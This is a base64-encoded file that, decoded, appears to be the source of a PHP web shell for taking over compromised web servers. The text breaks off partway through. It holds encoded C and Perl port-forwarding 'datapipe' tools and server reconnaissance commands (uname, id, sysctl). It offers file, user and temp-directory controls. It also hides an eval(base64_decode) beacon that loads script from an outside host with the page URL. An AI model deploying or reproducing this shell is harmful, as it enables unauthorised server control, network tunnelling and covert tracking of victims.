dlppaGpZV1JrY2lrN0RRb2dJR1prWDNObGRDQm1aSE55TENCbVpITmxPdzBLSUNCemRISjFZM1FnYUc5emRHVg0KdWRDQXFhRHNOQ2lBZ2MzUnlkV04wSUhObGNuWmxiblFnS25NN0RRb2dJR2x1ZENCdVlubDBPdzBLSUNCMWJuTnBaMjVsWkNCc2IyNW5JR0U3RFFvZ0lIVnVjMmxuYm1Wa0lITm9iM0owSUc5d2IzSjBPdw0KMEtEUW9nSUdsbUlDaGhjbWRqSUNFOUlEUXBJSHNOQ2lBZ0lDQm1jSEpwYm5SbUtITjBaR1Z5Y2l3aVZYTmhaMlU2SUNWeklHeHZZMkZzY0c5eWRDQnlaVzF2ZEdWd2IzSjBJSEpsYlc5MFpXaHZjM1JjYg0KaUlzWVhKbmRsc3dYU2s3RFFvZ0lDQWdjbVYwZFhKdUlETXdPdzBLSUNCOURRb2dJR0VnUFNCcGJtVjBYMkZrWkhJb1lYSm5kbHN6WFNrN0RRb2dJR2xtSUNnaEtHZ2dQU0JuWlhSb2IzTjBZbmx1WVcxbA0KS0dGeVozWmJNMTBwS1NBbUpnMEtJQ0FnSUNBZ0lTaG9JRDBnWjJWMGFHOXpkR0o1WVdSa2NpZ21ZU3dnTkN3Z1FVWmZTVTVGVkNrcEtTQjdEUW9nSUNBZ2NHVnljbTl5S0dGeVozWmJNMTBwT3cwS0lDQQ0KZ0lISmxkSFZ5YmlBeU5Uc05DaUFnZlEwS0lDQnZjRzl5ZENBOUlHRjBiMndvWVhKbmRsc3lYU2s3RFFvZ0lHeGhaR1J5TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vS0hWdWMybG5ibVZrSUhOb2IzSjBLUw0KaGhkRzlzS0dGeVozWmJNVjBwS1NrN0RRb2dJR2xtSUNnb2JITnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQw0KaUFnSUNCd1pYSnliM0lvSW5OdlkydGxkQ0lwT3cwS0lDQWdJSEpsZEhWeWJpQXlNRHNOQ2lBZ2ZRMEtJQ0JzWVdSa2NpNXphVzVmWm1GdGFXeDVJRDBnYUhSdmJuTW9RVVpmU1U1RlZDazdEUW9nSUd4aA0KWkdSeUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHaDBiMjVzS0RBcE93MEtJQ0JwWmlBb1ltbHVaQ2hzYzI5amF5d2dKbXhoWkdSeUxDQnphWHBsYjJZb2JHRmtaSElwS1NrZ2V3MEtJQ0FnSUhCbGNuSg0KdmNpZ2lZbWx1WkNJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCcFppQW9iR2x6ZEdWdUtHeHpiMk5yTENBeEtTa2dldzBLSUNBZ0lIQmxjbkp2Y2lnaWJHbHpkR1Z1SWlrN0RRb2dJQw0KQWdjbVYwZFhKdUlESXdPdzBLSUNCOURRb2dJR2xtSUNnb2JtSjVkQ0E5SUdadmNtc29LU2tnUFQwZ0xURXBJSHNOQ2lBZ0lDQndaWEp5YjNJb0ltWnZjbXNpS1RzTkNpQWdJQ0J5WlhSMWNtNGdNakE3RA0KUW9nSUgwTkNpQWdhV1lnS0c1aWVYUWdQaUF3S1EwS0lDQWdJSEpsZEhWeWJpQXdPdzBLSUNCelpYUnphV1FvS1RzTkNpQWdkMmhwYkdVZ0tDaGpjMjlqYXlBOUlHRmpZMlZ3ZENoc2MyOWpheXdnSm1OaA0KWkdSeUxDQW1ZMkZrWkhKc1pXNHBLU0FoUFNBdE1Ta2dldzBLSUNBZ0lHTm1hV3hsSUQwZ1ptUnZjR1Z1S0dOemIyTnJMQ0p5S3lJcE93MEtJQ0FnSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMA0KZ0xURXBJSHNOQ2lBZ0lDQWdJR1p3Y21sdWRHWW9ZMlpwYkdVc0lDSTFNREFnWm05eWF6b2dKWE5jYmlJc0lITjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnSUNCemFIVjBaRzkzYmloamMyOWpheQ0Kd3lLVHNOQ2lBZ0lDQWdJR1pqYkc5elpTaGpabWxzWlNrN0RRb2dJQ0FnSUNCamIyNTBhVzUxWlRzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0c1aWVYUWdQVDBnTUNrTkNpQWdJQ0FnSUdkdmRHOGdaMjkwYw0KMjlqYXpzTkNpQWdJQ0JtWTJ4dmMyVW9ZMlpwYkdVcE93MEtJQ0FnSUhkb2FXeGxJQ2gzWVdsMGNHbGtLQzB4TENCT1ZVeE1MQ0JYVGs5SVFVNUhLU0ErSURBcE93MEtJQ0I5RFFvZ0lISmxkSFZ5YmlBeQ0KTURzTkNnMEtJR2R2ZEhOdlkyczZEUW9nSUdsbUlDZ29iM052WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkNpQQ0KZ0lDQm1jSEpwYm5SbUtHTm1hV3hsTENBaU5UQXdJSE52WTJ0bGREb2dKWE5jYmlJc0lITjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnWjI5MGJ5QnhkV2wwTVRzTkNpQWdmUTBLSUNCdllXUmtjaQ0KNXphVzVmWm1GdGFXeDVJRDBnYUMwK2FGOWhaR1J5ZEhsd1pUc05DaUFnYjJGa1pISXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aHZjRzl5ZENrN0RRb2dJRzFsYldOd2VTZ21iMkZrWkhJdWMybHVYMkZrWg0KSElzSUdndFBtaGZZV1JrY2l3Z2FDMCthRjlzWlc1bmRHZ3BPdzBLSUNCcFppQW9ZMjl1Ym1WamRDaHZjMjlqYXl3Z0ptOWhaR1J5TENCemFYcGxiMllvYjJGa1pISXBLU2tnZXcwS0lDQWdJR1p3Y21sdQ0KZEdZb1kyWnBiR1VzSUNJMU1EQWdZMjl1Ym1WamREb2dKWE5jYmlJc0lITjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnWjI5MGJ5QnhkV2wwTVRzTkNpQWdmUTBLSUNCM2FHbHNaU0FvTVNrZ2V3MA0KS0lDQWdJRVpFWDFwRlVrOG9KbVprYzNJcE93MEtJQ0FnSUVaRVgxcEZVazhvSm1aa2MyVXBPdzBLSUNBZ0lFWkVYMU5GVkNoamMyOWpheXdtWm1SemNpazdEUW9nSUNBZ1JrUmZVMFZVS0dOemIyTnJMQw0KWm1aSE5sS1RzTkNpQWdJQ0JHUkY5VFJWUW9iM052WTJzc0ptWmtjM0lwT3cwS0lDQWdJRVpFWDFORlZDaHZjMjlqYXl3bVptUnpaU2s3RFFvZ0lDQWdhV1lnS0hObGJHVmpkQ2d5TUN3Z0ptWmtjM0lzSQ0KRTVWVEV3c0lDWm1aSE5sTENCT1ZVeE1LU0E5UFNBdE1Ta2dldzBLSUNBZ0lDQWdabkJ5YVc1MFppaGpabWxzWlN3Z0lqVXdNQ0J6Wld4bFkzUTZJQ1Z6WEc0aUxDQnpkSEpsY25KdmNpaGxjbkp1YnlrcA0KT3cwS0lDQWdJQ0FnWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0VaRVgwbFRVMFZVS0dOemIyTnJMQ1ptWkhOeUtTQjhmQ0JHUkY5SlUxTkZWQ2hqYzI5amF5d21abVJ6WlNrcElIcw0KTkNpQWdJQ0FnSUdsbUlDZ29ibUo1ZENBOUlISmxZV1FvWTNOdlkyc3NZblZtTERRd09UWXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdJQ0JwWmlBb0tIZHlhWFJsS0c5emIyTnJMRw0KSjFaaXh1WW5sMEtTa2dQRDBnTUNrTkNnbG5iM1J2SUhGMWFYUXlPdzBLSUNBZ0lIMGdaV3h6WlNCcFppQW9Sa1JmU1ZOVFJWUW9iM052WTJzc0ptWmtjM0lwSUh4OElFWkVYMGxUVTBWVUtHOXpiMk5yTA0KQ1ptWkhObEtTa2dldzBLSUNBZ0lDQWdhV1lnS0NodVlubDBJRDBnY21WaFpDaHZjMjlqYXl4aWRXWXNOREE1TmlrcElEdzlJREFwRFFvSloyOTBieUJ4ZFdsME1qc05DaUFnSUNBZ0lHbG1JQ2dvZDNKcA0KZEdVb1kzTnZZMnNzWW5WbUxHNWllWFFwS1NBOFBTQXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnZlEwS0lDQjlEUW9OQ2lCeGRXbDBNam9OQ2lBZ2MyaDFkR1J2ZDI0b2IzTnZZMnNzTWlrN0RRbw0KZ0lHTnNiM05sS0c5emIyTnJLVHNOQ2lCeGRXbDBNVG9OQ2lBZ1ptWnNkWE5vS0dObWFXeGxLVHNOQ2lBZ2MyaDFkR1J2ZDI0b1kzTnZZMnNzTWlrN0RRb2djWFZwZERBNkRRb2dJR1pqYkc5elpTaGpabQ0KbHNaU2s3RFFvZ0lISmxkSFZ5YmlBd093MEtmUT09IjsNCiRzaGVsbHZpYz0iUVd4MVEyRlM9PSI7DQokZGF0YXBpcGVfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ25WelpTQlFUMU5KV0RzTkNpUnNiMk5oYkhCdmNuUWdQU0FrUVZKSFZsc3dYVHNOQ2lSb2IzTjBJDQpDQWdJQ0FnUFNBa1FWSkhWbHN4WFRzTkNpUndiM0owSUNBZ0lDQWdQU0FrUVZKSFZsc3lYVHNOQ2lSa1lXVnRiMjQ5TVRzTkNpUkVTVklnUFNCMWJtUmxaanNOQ2lSOElEMGdNVHNOQ21sbUlDZ2taR0ZsDQpiVzl1S1hzZ0pIQnBaQ0E5SUdadmNtczdJR1Y0YVhRZ2FXWWdKSEJwWkRzZ1pHbGxJQ0lrSVNJZ2RXNXNaWE56SUdSbFptbHVaV1FvSkhCcFpDazdJRkJQVTBsWU9qcHpaWFJ6YVdRb0tTQnZjaUJrYVdVDQpnSWlRaElqc2dmUTBLSlc4Z1BTQW9KM0J2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjNSdmNHOXlkQ2NnUFQ0Z0pIQnZjblFzSjNSdmFHOXpkQ2NnUFQ0Z0pHaHZjM1FwT3cwS0pHRm9JRDBnU1U4Nk9sDQpOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkTWIyTmhiRkJ2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjFKbGRYTmxKeUE5UGlBeExDZE1hWE4wWlc0bklEMCtJREV3S1NCOGZDQmthV1VnSWlRaElqc05DDQppUlRTVWQ3SjBOSVRFUW5mU0E5SUNkSlIwNVBVa1VuT3cwS0pHNTFiU0E5SURBN0RRcDNhR2xzWlNBb01Ta2dleUFOQ2lSamFDQTlJQ1JoYUMwK1lXTmpaWEIwS0NrN0lHbG1JQ2doSkdOb0tTQjdJSEJ5DQphVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdJRzVsZUhRN0lIME5DaXNySkc1MWJUc05DaVJ3YVdRZ1BTQm1iM0pyS0NrN0RRcHBaaUFvSVdSbFptbHVaV1FvSkhCcFpDa3BJSHNnY0hKcGJuUWdVMVJFUlZKDQpTSUNJa0lWeHVJanNnZlNBTkNtVnNjMmxtSUNna2NHbGtJRDA5SURBcElIc2dKR0ZvTFQ1amJHOXpaU2dwT3lCU2RXNG9YQ1Z2TENBa1kyZ3NJQ1J1ZFcwcE95QjlJQTBLWld4elpTQjdJQ1JqYUMwK1kyDQp4dmMyVW9LVHNnZlEwS2ZRMEtjM1ZpSUZKMWJpQjdEUXB0ZVNna2J5d2dKR05vTENBa2JuVnRLU0E5SUVCZk93MEtiWGtnSkhSb0lEMGdTVTg2T2xOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkUVpXVnlRDQpXUmtjaWNnUFQ0Z0pHOHRQbnNuZEc5b2IzTjBKMzBzSjFCbFpYSlFiM0owSnlBOVBpQWtieTArZXlkMGIzQnZjblFuZlNrN0RRcHBaaUFvSVNSMGFDa2dleUJsZUdsMElEQTdJSDBOQ20xNUlDUm1hRHNODQpDbWxtSUNna2J5MCtleWRrYVhJbmZTa2dleUFrWm1nZ1BTQlRlVzFpYjJ3Nk9tZGxibk41YlNncE95QnZjR1Z1S0NSbWFDd2dJajRrYnkwK2V5ZGthWEluZlM5MGRXNXVaV3drYm5WdExteHZaeUlwSUc5DQp5SUdScFpTQWlKQ0VpT3lCOURRb2tZMmd0UG1GMWRHOW1iSFZ6YUNncE93MEtKSFJvTFQ1aGRYUnZabXgxYzJnb0tUc05DbmRvYVd4bElDZ2tZMmdnZkh3Z0pIUm9LU0I3RFFwdGVTQWtjbWx1SUQwZ0lpDQpJN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUmphQ2tzSURFcElEMGdNU0JwWmlBa1kyZzdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1IwYUNrc0lERXBJRDBnTVNCcFppQWtkR2c3RFFwdGVTZ2tjDQptOTFkQ3dnSkdWdmRYUXBPdzBLYzJWc1pXTjBLQ1J5YjNWMElEMGdKSEpwYml3Z2RXNWtaV1lzSUNSbGIzVjBJRDBnSkhKcGJpd2dNVEl3S1RzTkNtbG1JQ2doSkhKdmRYUWdJQ1ltSUNBaEpHVnZkWFFwDQpJSHQ5RFFwdGVTQWtZMkoxWm1abGNpQTlJQ0lpT3cwS2JYa2dKSFJpZFdabVpYSWdQU0FpSWpzTkNtbG1JQ2drWTJnZ0ppWWdLSFpsWXlna1pXOTFkQ3dnWm1sc1pXNXZLQ1JqYUNrc0lERXBJSHg4SUhaDQpsWXlna2NtOTFkQ3dnWm1sc1pXNXZLQ1JqYUNrc0lERXBLU2tnZXcwS2JYa2dKSEpsYzNWc2RDQTlJSE41YzNKbFlXUW9KR05vTENBa2RHSjFabVpsY2l3Z01UQXlOQ2s3RFFwcFppQW9JV1JsWm1sdVpXDQpRb0pISmxjM1ZzZENrcElIc05DbkJ5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3RFFwbGVHbDBJREE3RFFwOURRcHBaaUFvSkhKbGMzVnNkQ0E5UFNBd0tTQjdJR1Y0YVhRZ01Ec2dmUTBLZlEwS2FXWWdLDQpDUjBhQ0FnSmlZZ0lDaDJaV01vSkdWdmRYUXNJR1pwYkdWdWJ5Z2tkR2dwTENBeEtTQWdmSHdnZG1WaktDUnliM1YwTENCbWFXeGxibThvSkhSb0tTd2dNU2twS1NCN0RRcHRlU0FrY21WemRXeDBJRDBnDQpjM2x6Y21WaFpDZ2tkR2dzSUNSalluVm1abVZ5TENBeE1ESTBLVHNOQ21sbUlDZ2haR1ZtYVc1bFpDZ2tjbVZ6ZFd4MEtTa2dleUJ3Y21sdWRDQlRWRVJGVWxJZ0lpUWhYRzRpT3lCbGVHbDBJREE3SUgwDQpOQ21sbUlDZ2tjbVZ6ZFd4MElEMDlJREFwSUh0bGVHbDBJREE3ZlEwS2ZRMEthV1lnS0NSbWFDQWdKaVlnSUNSMFluVm1abVZ5S1NCN0tIQnlhVzUwSUNSbWFDQWtkR0oxWm1abGNpazdmUTBLZDJocGJHDQpVZ0tHMTVJQ1JzWlc0Z1BTQnNaVzVuZEdnb0pIUmlkV1ptWlhJcEtTQjdEUXB0ZVNBa2NtVnpJRDBnYzNsemQzSnBkR1VvSkhSb0xDQWtkR0oxWm1abGNpd2dKR3hsYmlrN0RRcHBaaUFvSkhKbGN5QStJDQpEQXBJSHNrZEdKMVptWmxjaUE5SUhOMVluTjBjaWdrZEdKMVptWmxjaXdnSkhKbGN5azdmU0FOQ21Wc2MyVWdlM0J5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3ZlEwS2ZRMEtkMmhwYkdVZ0tHMTVJQ1JzDQpaVzRnUFNCc1pXNW5kR2dvSkdOaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KR05vTENBa1kySjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0lEQXBJSHNrWTJKDQoxWm1abGNpQTlJSE4xWW5OMGNpZ2tZMkoxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlgxOURRbz0iOw0KJGMxID0gIlBITmpjbWx3ZENCc1lXNW5kV0ZuWlQwaWFtRjJZWE5qY21sd2RDSSthRzkwYkc5blgycHpQU0l4TGpBaU8yaHZkR3h2WjE5eVBTSWlLMDFoZEdndWNtRnVaRzl0S0NrcklpWnpQVGd4TmpBMg0KSm1sdFBURW1jajBpSzJWelkyRndaU2hrYjJOMWJXVnVkQzV5WldabGNuSmxjaWtySWlad1p6MGlLMlZ6WTJGd1pTaDNhVzVrYjNjdWJHOWpZWFJwYjI0dWFISmxaaWs3Wkc5amRXMWxiblF1WTI5dmEybA0KbFBTSm9iM1JzYjJjOU1Uc2djR0YwYUQwdklqc2dhRzkwYkc5blgzSXJQU0ltWXowaUt5aGtiMk4xYldWdWRDNWpiMjlyYVdVL0lsa2lPaUpPSWlrN1BDOXpZM0pwY0hRK1BITmpjbWx3ZENCc1lXNW5kVw0KRm5aVDBpYW1GMllYTmpjbWx3ZERFdU1TSSthRzkwYkc5blgycHpQU0l4TGpFaU8yaHZkR3h2WjE5eUt6MGlKbW85SWlzb2JtRjJhV2RoZEc5eUxtcGhkbUZGYm1GaWJHVmtLQ2svSWxraU9pSk9JaWs4TA0KM05qY21sd2RENDhjMk55YVhCMElHeGhibWQxWVdkbFBTSnFZWFpoYzJOeWFYQjBNUzR5SWo1b2IzUnNiMmRmYW5NOUlqRXVNaUk3YUc5MGJHOW5YM0lyUFNJbWQyZzlJaXR6WTNKbFpXNHVkMmxrZEdncg0KSjNnbkszTmpjbVZsYmk1b1pXbG5hSFFySWlad2VEMGlLeWdvS0c1aGRtbG5ZWFJ2Y2k1aGNIQk9ZVzFsTG5OMVluTjBjbWx1Wnlnd0xETXBQVDBpVFdsaklpa3BQM05qY21WbGJpNWpiMnh2Y2tSbGNIUg0Kb09uTmpjbVZsYmk1d2FYaGxiRVJsY0hSb0tUd3ZjMk55YVhCMFBqeHpZM0pwY0hRZ2JHRnVaM1ZoWjJVOUltcGhkbUZ6WTNKcGNIUXhMak1pUG1odmRHeHZaMTlxY3owaU1TNHpJand2YzJOeWFYQjBQag0KeHpZM0pwY0hRZ2JHRnVaM1ZoWjJVOUltcGhkbUZ6WTNKcGNIUWlQbWh2ZEd4dloxOXlLejBpSm1welBTSXJhRzkwYkc5blgycHpPMlJ2WTNWdFpXNTBMbmR5YVhSbEtDSThZU0JvY21WbVBTZG9kSFJ3Tw0KaTh2WTJ4cFkyc3VhRzkwYkc5bkxuSjFMejg0TVRZd05pY2dkR0Z5WjJWMFBTZGZkRzl3Sno0OGFXMW5JQ0lySWlCemNtTTlKMmgwZEhBNkx5OW9hWFEwTG1odmRHeHZaeTV5ZFM5aloya3RZbWx1TDJodg0KZEd4dlp5OWpiM1Z1ZEQ4aUsyaHZkR3h2WjE5eUt5SW1KeUJpYjNKa1pYSTlNQ0IzYVdSMGFEMHhJR2hsYVdkb2REMHhJR0ZzZEQweFBqd3ZZVDRpS1R3dmMyTnlhWEIwUGp4dWIzTmpjbWx3ZEQ0OFlTQg0Kb2NtVm1QV2gwZEhBNkx5OWpiR2xqYXk1b2IzUnNiMmN1Y25VdlB6Z3hOakEySUhSaGNtZGxkRDFmZEc5d1BqeHBiV2R6Y21NOUltaDBkSEE2THk5b2FYUTBMbWh2ZEd4dlp5NXlkUzlqWjJrdFltbHVMMg0KaHZkR3h2Wnk5amIzVnVkRDl6UFRneE5qQTJKbWx0UFRFaUlHSnZjbVJsY2owd2QybGtkR2c5SWpFaUlHaGxhV2RvZEQwaU1TSWdZV3gwUFNKSWIzUk1iMmNpUGp3dllUNDhMMjV2YzJOeWFYQjBQZz09IjsNCiRjMiA9ICJQQ0V0TFV4cGRtVkpiblJsY201bGRDQmpiM1Z1ZEdWeUxTMCtQSE5qY21sd2RDQnNZVzVuZFdGblpUMGlTbUYyWVZOamNtbHdkQ0krUENFdExRMEtaRzlqZFcxbGJuUXVkM0pwZEdVb0p6eGgNCklHaHlaV1k5SW1oMGRIQTZMeTkzZDNjdWJHbDJaV2x1ZEdWeWJtVjBMbkoxTDJOc2FXTnJJaUFuS3cwS0ozUmhjbWRsZEQxZllteGhibXMrUEdsdFp5QnpjbU05SW1oMGRIQTZMeTlqYjNWdWRHVnlMbmwNCmhaSEp2TG5KMUwyaHBkRDkwTlRJdU5qdHlKeXNOQ21WelkyRndaU2hrYjJOMWJXVnVkQzV5WldabGNuSmxjaWtyS0NoMGVYQmxiMllvYzJOeVpXVnVLVDA5SjNWdVpHVm1hVzVsWkNjcFB5Y25PZzBLSnoNCnR6Snl0elkzSmxaVzR1ZDJsa2RHZ3JKeW9uSzNOamNtVmxiaTVvWldsbmFIUXJKeW9uS3loelkzSmxaVzR1WTI5c2IzSkVaWEIwYUQ4TkNuTmpjbVZsYmk1amIyeHZja1JsY0hSb09uTmpjbVZsYmk1d2ENClhobGJFUmxjSFJvS1Nrckp6c25LMDFoZEdndWNtRnVaRzl0S0NrckRRb25JaUJoYkhROUlteHBkbVZwYm5SbGNtNWxkQzV5ZFRvZzcrN3E0T2ZnN2U0Zzkrang2KzRnNy9EdThlenU4dkR1NGlEb0lPL3UNCjhlWHk2UExsNitYcElPZmdJREkwSVBmZzhlQWlJQ2NyRFFvblltOXlaR1Z5UFRBZ2QybGtkR2c5TUNCb1pXbG5hSFE5TUQ0OEwyRStKeWt2THkwdFBqd3ZjMk55YVhCMFBqd2hMUzB2VEdsMlpVbHVkR1YNCnlibVYwTFMwKyI7DQppZigkdW5peCkNCiB7DQogaWYoIWlzc2V0KCRfQ09PS0lFWyd1bmFtZSddKSkgeyAkdW5hbWUgPSBleCgndW5hbWUgLWEnKTsgc2V0Y29va2llKCd1bmFtZScsJHVuYW1lKTsgfSBlbHNlIHsgJHVuYW1lID0gJF9DT09LSUVbJ3VuYW1lJ107IH0NCiBpZighaXNzZXQoJF9DT09LSUVbJ2lkJ10pKSB7ICRpZCA9IGV4KCdpZCcpOyBzZXRjb29raWUoJ2lkJywkaWQpOyB9IGVsc2UgeyAkaWQgPSAkX0NPT0tJRVsnaWQnXTsgfQ0KIGlmKCRzYWZlX21vZGUpIHsgJHN5c2N0bCA9ICctJzsgfQ0KIGVsc2UgaWYoaXNzZXQoJF9DT09LSUVbJ3N5c2N0bCddKSkgeyAkc3lzY3RsID0gJF9DT09LSUVbJ3N5c2N0bCddOyB9DQogZWxzZQ0KICB7DQogICAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2Vybi5vc3JlbGVhc2UnKTsNCiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSBleCgnc3lzY3RsIC1uIGtlcm5lbC5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm5lbC5vc3JlbGVhc2UnKTsgfQ0KICAgaWYoZW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9ICctJzsgfQ0KICAgc2V0Y29va2llKCdzeXNjdGwnLCRzeXNjdGwpOw0KICB9DQogfQ0KZWNobyAkaGVhZDsNCmV2YWwoYmFzZTY0X2RlY29kZSgnWldOb2J5QWlQSE5qY21sd2RDQnNZVzVuZFdGblpUMWNJbXBoZG1GelkzSnBjSFJjSWlCemNtTTlYQ0pvZEhSd09pOHZaMmxoYVhSb2IyRjBMbTl5Wnk5bmFXRnBkR2h2WVhRdWNHaHdQM1psY25OcGIyNDlaRzlqZFcxbGJuUXVWVkpNWENJK0lqc05DbVZqYUc4Z0lqd3ZjMk55YVhCMFBpSTcnKSk7DQplY2hvICc8L2hlYWQ+JzsNCmlmKGVtcHR5KCRfUE9TVFsnY21kJ10pKSB7DQokc2VydiA9IGFycmF5KDEyNywxOTIsMTcyLDEwKTsNCiRhZGRyPUBleHBsb2RlKCcuJywgJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pOw0KJGN1cnJlbnRfdmVyc2lvbiA9IHN0cl9yZXBsYWNlKCcuJywnJywkdmVyc2lvbik7DQp9DQplY2hvICc8Ym9keT48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1CbGFjaz48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjayB3aWR0aD0xNjA+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9Mj4nLndzKDMpLic8Zm9udCBmYWNlPVdpbmdkaW5ncyBzaXplPTggY29sb3I9V2hpdGU+PGI+VjwvYj48L2ZvbnQ+PGI+Jy53cygzKS5iYXNlNjRfZGVjb2RlKCRzaGVsbHZpYykud3MoMykuJzxmb250IGZhY2U9V2luZ2RpbmdzIHNpemU9OCBjb2xvcj1XaGl0ZT48Yj5WPC9iPjwvZm9udD48L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4nOw0KZWNobyB3cygyKS4iPGI+Ii5kYXRlICgiZC1tLVkgSDppOnMiKS4iPC9iPiI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocGluZm8gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj5waHBpbmZvPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocGluaSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ3J10uIlwiPjxiPnBocC5pbmk8L2I+PC9hPiAiLiRyYjsNCmlmKCR1bml4KQ0KIHsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2NwdSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUwJ10uIlwiPjxiPmNwdTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2VycyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIlwiPjxiPnVzZXJzPC9iPjwvYT4gIi4kcmI7DQogfQ0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj90bXAgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OCddLiJcIj48Yj50bXA8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZGVsZXRlIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDknXS4iXCI+PGI+ZGVsZXRlPC9iPjwvYT4gIi4kcmIuIjxicj4iOw0KZWNobyB3cygyKS4ic2FmZV9tb2RlOiA8Yj4iOw0KZWNobyAoKCRzYWZlX21vZGUpPygiPGZvbnQgY29sb3I9V2hpdGU+T048L2ZvbnQ+Iik6KCI8Zm9udCBjb2xvcj1XaGl0ZT5PRkY8L2ZvbnQ+IikpOw0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsNCiRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQplY2hvIHdzKDIpOw0KZWNobyAiY1VSTDogPGI+Ii4oKCRjdXJsX29uKT8oIjxmb250IGNvbG9yPVdoaXRlPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTXlTUUw6IDxiPiI7DQokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQppZigkbXlzcWxfb24pew0KZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiI7IH0NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTVNTUUw6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiI7fQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJQb3N0Z3J